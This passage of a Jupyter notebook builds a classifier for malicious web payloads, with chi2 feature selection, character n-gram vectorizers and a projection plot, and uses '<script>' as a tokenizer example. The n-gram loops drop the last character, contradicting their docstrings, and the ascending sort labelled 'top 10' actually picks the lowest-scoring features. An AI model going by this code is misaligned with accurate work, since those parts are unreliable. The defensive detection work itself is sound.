dcv8777yjJ554Qs8884y+/PJLDR48WGPGjFFtba0kad26dYqIiFBERER7lg24\n3NXOBUn67LPPtHv3bq1fv16LFi3SV1991V7lAy5xtfPg/Pnz2r59u/Lz81VaWqqioiIVFRW15ykY\njx24CpLsH3zwgdO2oUOH2h977DHHe6vVag8KCrLn5uba7Xa7fe7cufZ+/frZQ0ND7T179rSbzWb7\n/Pnz27VuwNVaMxf+V1ZWln3FihVtWSbQplozD3bs2GFPTEx07M/Ly7Pn5eW1T8EGxcobXOrs2bPa\ntWuXEhISHNs8PDyUkJCg0tJSSVJubq4OHz6s77//Xi+88IKmT5+up59+2l0lA22iOXPh9OnTOnXq\nlCSpoaFBn3zyiQYNGuSWeoG20Jx5EBsbq9raWv3888+y2Wzatm2boqKi3FWyIXBHIFzq+PHjslqt\n6tOnj9P2Pn366JtvvnFTVUD7a85cOHbsmO677z5JktVq1fTp0xUbG9vutQJtpTnzoFOnTlq0aJHu\nvPNO2e12JSYm6ne/+507yjUMwhvcKj093d0lAG4TFhamvXv3ursMwO3GjRvHtw+0AJdN4VI33HCD\nPD09dezYMaftx44dU2BgoJuqAtofcwFgHrQVwhtcysvLS7fddpuKi4sd22w2m4qLizV8+HA3Vga0\nL+YCwDxoK1w2RYs1NDSoqqrK8f7QoUPas2ePevTooZCQED3xxBNKS0vT7bffrqFDh2rp0qU6ffq0\nMjIy3Fg14HrMBYB54BbuftwVxvPpp5/aJV30SktLc7R55ZVX7CEhIXYvLy/70KFD7Tt37nRfwUAb\nYS4AzAN3MNntdrsbMiMAAABagXveAAAADITwBgAAYCCENwAAAAMhvAEAABgI4Q0AAMBACG8AAAAG\nQngDAAAwEMIbAACAgRDeAAAADITwBgDXGIvFoqVLl7q7DADXKMIbALhYenq6TCaTTCaTvLy8FB4e\nrgULFuj8+fPN6l9eXq5HHnmk2cfbsmWLTCaTTp482dqSARhIJ3cXAAAd0dixY7VixQo1NjZq06ZN\neuyxx+Tl5aW5c+desW+vXr3aoUIARsXKGwC0AW9vbwUGBio0NFSZmZlKSEjQunXrJElr167VoEGD\n5O3tLYvFoiVLljj1/d/LpiaTSf/617903333qWvXrhowYIDWr18vSfr+++81atQoSVL37t1lMpmU\nnp4uSXrvvfcUHR2tLl26qGfPnkpISNDp06fb4ewBtCXCGwC0Ax8fH509e1a7du1ScnKyHnjgAVVU\nVCgnJ0fZ2dkqKCi4bP/58+crOTlZX331lcaPH6/U1FSdOHFCwcHBWrt2rSTpwIEDqqmp0csvv6ya\nmhqlpKRo6tSp2r9/v7Zs2aKkpCTZ7fZ2OFsAbYnLpgDQhux2u4qLi7V582Y9/vjjevHFF3X33Xcr\nOztbkhQREaF9+/Zp8eLFjhWzS0lPT1dKSookadGiRfrHP/6hsrIyjR07Vj169JAk9e7dW926dZMk\nHTx4UOfPn1dSUpJCQ0MlSdHR0W14pgDaCytvANAGNmzYID8/P/n4+GjcuHGaPHmycnJytH//fsXH\nxzu1jY+PV2VlpaxWa5PjxcTEOH729fWV2WxWbW1tk+0HDx6su+++W9HR0br//vu1fPly/fzzz1d/\nYgDcjvAGAG1g1KhR2rNnjyorK/Xf//5XK1eulK+vb6vH69y5s9N7k8kkm83WZHtPT08VFRVp06ZN\nGjhwoF555RVFRkbq0KFDra4BwLWB8AYAbcDX11fh4eEKCQlRp07//w6VqKgolZSUOLUtKSlRRESE\nPD09W3UsLy8vSbpo5c5kMik+Pl7z58/X7t275eXlpQ8++KBVxwBw7eCeNwBoR3PmzFFsbKyeffZZ\nTZ48WaWlpXr11VeVn5/f6jFDQ0NlMpm0YcMGjR8/Xl26dNHXX3+t4uJiJSYmqnfv3vr888/1448/\nKioqyoVnA8AdWHkDgHZ06623as2aNSosLNTNN9+sp59+WgsWLLjswwpX0rdvX82fP19z585Vnz59\nNGPGDJnNZm3btk3jx49XRESEnnrqKS1ZskTjxo1z3ckAcAuTnefGAQAADIOVNwAAAAMhvAEAABgI\n4Q0AAMBACG8AAAAGQngDAAAwEMIbAACAgRDeAAAADITwBgAAYCCENwAAAAMhvAEAABgI4Q0AAMBA\n/h93cxrVZfA16gAAAABJRU5ErkJggg==\n",
      "text/plain": [
       "<matplotlib.figure.Figure at 0x7f844859c518>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "Y = payloads['is_malicious']\n",
    "X = create_features(pd.DataFrame(payloads['payload'].copy()))\n",
    "\n",
    "\n",
    "test = SelectKBest(score_func=chi2, k='all')\n",
    "fit = test.fit(X, Y)\n",
    "# summarize scores\n",
    "print(fit.scores_)\n",
    "features = fit.transform(X)\n",
    "# summarize selected features\n",
    "# summarize scores\n",
    "np.set_printoptions(precision=2)\n",
    "print(fit.scores_)\n",
    "\n",
    "# Get the indices sorted by most important to least important\n",
    "indices = np.argsort(fit.scores_)\n",
    "\n",
    "# To get your top 10 feature names\n",
    "featuress = []\n",
    "for i in range(10):\n",
    "    featuress.append(X.columns[indices[i]])\n",
    "\n",
    "display(featuress)\n",
    "display([featuress[i] + ' ' + str(fit.scores_[i]) for i in indices[range(10)]])\n",
    "\n",
    "\n",
    "plt.rcdefaults()\n",
    "fig, ax = plt.subplots()\n",
    "\n",
    "y_pos = np.arange(len(featuress))\n",
    "performance = 3 + 10 * np.random.rand(len(featuress))\n",
    "error = np.random.rand(len(featuress))\n",
    "\n",
    "ax.barh(y_pos, fit.scores_[indices[range(10)]],  align='center',\n",
    "        color='green', ecolor='black')\n",
    "ax.set_yticks(y_pos)\n",
    "ax.set_yticklabels(featuress)\n",
    "ax.set_xscale('log')\n",
    "\n",
    "#ax.invert_yaxis()  # labels read top-to-bottom\n",
    "ax.set_xlabel('Points')\n",
    "ax.set_title('SelectKBest()')\n",
    "\n",
    "plt.show()\n",
    "\n",
    "\n",
    "\n",
    "\n",
    "\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Step3B - Feature engineering using bag of words techniques.\n",
    "Additional to our custom feature space, we will create 6 more feature spaces using bag-of-words techniques  \n",
    "The following vectorizers below is another way of creating features for text input.  \n",
    "We will test the performance of these techniques independently from our custom features in Step 3A.  \n",
    "We will create vectorizers of these combinations:\n",
    "- 1-grams CountVectorizer\n",
    "- 2-grams CountVectorizer\n",
    "- 3-grams CountVectorizer\n",
    "- 1-grams TfidfVectorizer\n",
    "- 2-grams TfidfVectorizer\n",
    "- 3-grams TfidfVectorizer\n",
    "\n",
    "The type of N-gram function determines how the actual \"words\" should be created from the payload string  \n",
    "Each vectorizer is used later in Step4 in Pipeline objects before training  \n",
    "See report for further explanation"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### 1-Grams features\n",
    "create a Countvectorizer and TF-IDFvectorizer that uses 1-grams.  \n",
    "1-grams equals one feature for each letter/symbol recorded"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "metadata": {
    "collapsed": true
   },
   "outputs": [],
   "source": [
    "def get1Grams(payload_obj):\n",
    "    '''Divides a string into 1-grams\n",
    "    \n",
    "    Example: input - payload: \"<script>\"\n",
    "             output- [\"<\",\"s\",\"c\",\"r\",\"i\",\"p\",\"t\",\">\"]\n",
    "    '''\n",
    "    payload = str(payload_obj)\n",
    "    ngrams = []\n",
    "    for i in range(0,len(payload)-1):\n",
    "        ngrams.append(payload[i:i+1])\n",
    "    return ngrams\n",
    "\n",
    "tfidf_vectorizer_1grams = TfidfVectorizer(tokenizer=get1Grams)\n",
    "count_vectorizer_1grams = CountVectorizer(min_df=1, tokenizer=get1Grams)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### 2-Grams features\n",
    "create a Countvectorizer and TF-IDFvectorizer that uses 2-grams.  "
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 5,
   "metadata": {
    "collapsed": true
   },
   "outputs": [],
   "source": [
    "def get2Grams(payload_obj):\n",
    "    '''Divides a string into 2-grams\n",
    "    \n",
    "    Example: input - payload: \"<script>\"\n",
    "             output- [\"<s\",\"sc\",\"cr\",\"ri\",\"ip\",\"pt\",\"t>\"]\n",
    "    '''\n",
    "    payload = str(payload_obj)\n",
    "    ngrams = []\n",
    "    for i in range(0,len(payload)-2):\n",
    "        ngrams.append(payload[i:i+2])\n",
    "    return ngrams\n",
    "\n",
    "tfidf_vectorizer_2grams = TfidfVectorizer(tokenizer=get2Grams)\n",
    "count_vectorizer_2grams = CountVectorizer(min_df=1, tokenizer=get2Grams)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### 3-Grams features\n",
    "Create a Countvectorizer and TF-IDFvectorizer that uses 3-grams"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 6,
   "metadata": {
    "collapsed": true
   },
   "outputs": [],
   "source": [
    "def get3Grams(payload_obj):\n",
    "    '''Divides a string into 3-grams\n",
    "    \n",
    "    Example: input - payload: \"<script>\"\n",
    "             output- [\"<sc\",\"scr\",\"cri\",\"rip\",\"ipt\",\"pt>\"]\n",
    "    '''\n",
    "    payload = str(payload_obj)\n",
    "    ngrams = []\n",
    "    for i in range(0,len(payload)-3):\n",
    "        ngrams.append(payload[i:i+3])\n",
    "    return ngrams\n",
    "\n",
    "tfidf_vectorizer_3grams = TfidfVectorizer(tokenizer=get3Grams)\n",
    "count_vectorizer_3grams = CountVectorizer(min_df=1, tokenizer=get3Grams)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Step3C - Feature space visualization\n",
    "After creating our different feature spaces to later train each classifier on,  \n",
    "we first examine them visually by projecting the feature spaces into two dimensions using Principle Component Analysis  \n",
    "Graphs are shown below displaying the data in 3 out of 7 of our feature spaces"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 9,
   "metadata": {
    "collapsed": true
   },
   "outputs": [],
   "source": [
    "def visualize_feature_space_by_projection(X,Y,title='PCA'):\n",
    "    '''Plot a two-dimensional projection of the dataset in the specified feature space\n",
    "    \n",
    "    input: X - data\n",
    "           Y - labels\n",
    "           title - title of plot\n",
    "    '''\n",
    "    pca = TruncatedSVD(n_components=2)\n",
    "    X_r = pca.fit(X).transform(X)\n",
    "\n",
    "    # Percentage of variance explained for each components\n",
    "    print('explained variance ratio (first two components): %s'\n",
    "          % str(pca.explained_variance_ratio_))\n",
    "\n",
    "    plt.figure()\n",
    "    colors = ['blue', 'darkorange']\n",
    "    lw = 2\n",
    "\n",
    "    #Plot malicious and non-malicious separately with different colors\n",
    "    for color, i, y in zip(colors, [0, 1], Y):\n",
    "        plt.scatter(X_r[Y == i, 0], X_r[Y == i, 1], color=color, alpha=.3, lw=lw,\n",
    "                    label=i)\n",
    "        \n",
    "    plt.legend(loc='best', shadow=False, scatterpoints=1)\n",
    "    plt.title(title)\n",
    "    plt.show()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### 1-Grams CountVectorizer feature space visualization"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 10,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "explained variance ratio (first two components): [ 0.26506858  0.22575119]\n"
     ]
    },
    {
     "data": {
      "image/png": "iVBORw0KGgoAAAANSUhEUgAAAeQAAAFXCAYAAABz8D0iAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3Xl8lOW5//HPs8xMdiASEEQQEFx+mkKrIFJsUVvcqEst\nxXg4P6uHqtW24E8FrQoqbVV61KqnVns8rdIeKUVtrT2tHnFHxaW4gOLCHoghkJBkJslsz/37Y8KQ\nkGQSQkImk+/79fIlmeWZ+5rtmvt5ruu5LWOMQURERHqU3dMDEBERESVkERGRtKCELCIikgaUkEVE\nRNKAErKIiEgaUEIWERFJA0rIPai0tJRjjjmGc889N/nft771LZYvX568TTgc5t577+W8887j3HPP\nZfr06Tz88MPs2622ZMkSjjrqKN577739HseKFStYtGjRAcezryeffJLLL78cgJ/85Ce8/vrrndrO\n1q1b+eEPfwhAeXk5M2fO7LIxprJgwQJOPfVU7rnnnlavr6mpYfr06Xz44YcHZTxdJR6P89vf/pYL\nLriAc889l7POOovFixcTiUS65fE++OADbrnlFgBmzZrFQw891OI2//Vf/8UVV1zRqe03fX/sj8cf\nf5yHH364U4/Zno8//pjTTz+d888/n9LS0k5t44EHHuD555/v4pFJOnN7egB9XVZWFn/5y1+Sf5eX\nl3POOedw3HHHcdRRR/GDH/yAkSNH8sc//pFAIEBVVRWXX345dXV1zJkzJ3m/pUuXMn36dB599FHG\njRu3X2M47bTTOO2007osptb89Kc/7fR9t2/fzsaNGwEYPHgwS5cu7aphpfTHP/6Rl156iUMPPbTF\ndS+//DI/+9nP2LZt20EZS1dauHAh1dXVPProo+Tn51NXV8e1117LT37yExYvXtzlj/f5559TXl4O\nwMUXX8w999yT/KG2x7Jly7jppps6tf2m74/9cdFFF3Xq8TpixYoVTJw48YDe96tWreLII4/swlFJ\nulNCTjODBw9mxIgRbNq0iZqaGjZs2MDDDz+M4zgADBgwgLvuuqtZIli1ahXV1dVcd911fOMb36Cs\nrIwhQ4a02PbMmTO55JJLOOOMMwD4xS9+gTGG0aNH8+yzz/LQQw/x3HPP8eCDD2JZFo7jcP3113Pi\niScya9YsLr744uR9m/69fPly/vjHPxKNRqmurmb27NmUlJQ0e+w9t3cchwceeCB5+ZYtWzj99NNZ\nvHgxv/71r3n++ecJh8PU19czb948Tj31VG666SbKy8u57LLLuPXWW5k+fTqrV68mGo1yxx138MYb\nb+A4DsXFxdxwww3k5eVx6qmncv755/PGG29QVlbGmWeeyfXXX9/iOfnss8+47bbb2L17N5Zlceml\nl3LeeedRUlKCMYbZs2ezYMECTjjhhGb3e+yxx7jjjjv4f//v/6V8PT/44AMWLlxINBpl+PDhbN++\nnfnz5wOJHyk5OTnU1dWxfPly7rrrLt5//31CoRDGGBYtWsRXvvIV5s+fTyAQ4MMPP2Tnzp2ceeaZ\nFBYW8uKLL1JRUcGiRYuYNGkS77zzDnfccQee5wFw+eWXM23atGbj2bp1K3/961957bXXyMvLAyAn\nJ4dbb72V1atXA1BbW8utt97KunXrsCyLKVOmcM011+C6LkcddRRvvPEGhYWFAMm/P/vsM+655x4O\nP/xwPvvsMyKRCLfccgsjRozgvvvuo7a2lhtuuIHbb7+dn/70p7zzzjvJ5/Stt97CGMPkyZMBeOGF\nF3jwwQeJRqNkZWUxb948xo8fTywWY/Hixbz00ks4jsP48eNZsGBBs/fHI488wvPPP88DDzxAPB4n\nLy+PG264geLiYu6//37ee+89duzYwVFHHcWIESOoqqpi9uzZzWbnO3fuxHVdXn75ZcrLy7ntttso\nKysjGo1y9tlnc8UVV1BaWsrFF1/M6NGj2bZtG0uWLGHQoEEAPP300zz++OPE43EaGhr493//d/70\npz/x+OOP43ke/fv35+abb2b06NFs3LiR2267jbq6Onbs2MHRRx/Nvffey/Lly1mzZg133XUXjuOw\nYsUKxowZw2WXXQbA/Pnzk3+feuqpFBcX88knn3DNNddQXFzc6pj3leqzPnr0aNasWUNVVRXnnnsu\nP/rRjwBa/Yx+4xvfaPO18fv9PPjggzz33HN4nsdhhx3GggULGDx4cMrPTZ9lpMds3brVjBs3rtll\n//znP82JJ55otm/fbh555BHzox/9qN3t/PjHPzZ33HGHMcaY2bNnm7vuuqvV2y1fvtx8//vfN8YY\nE4vFzJQpU8zGjRvNE088kbz8tNNOM6tXrzbGGPPqq6+a+++/3xhjzL/8y7+Yv//978lt7fk7GAya\nGTNmmMrKSmOMMatXr07G1HS7+97fGGNWrFhhvvGNb5iKigpTWlpqZs2aZerr640xxjzzzDPmnHPO\n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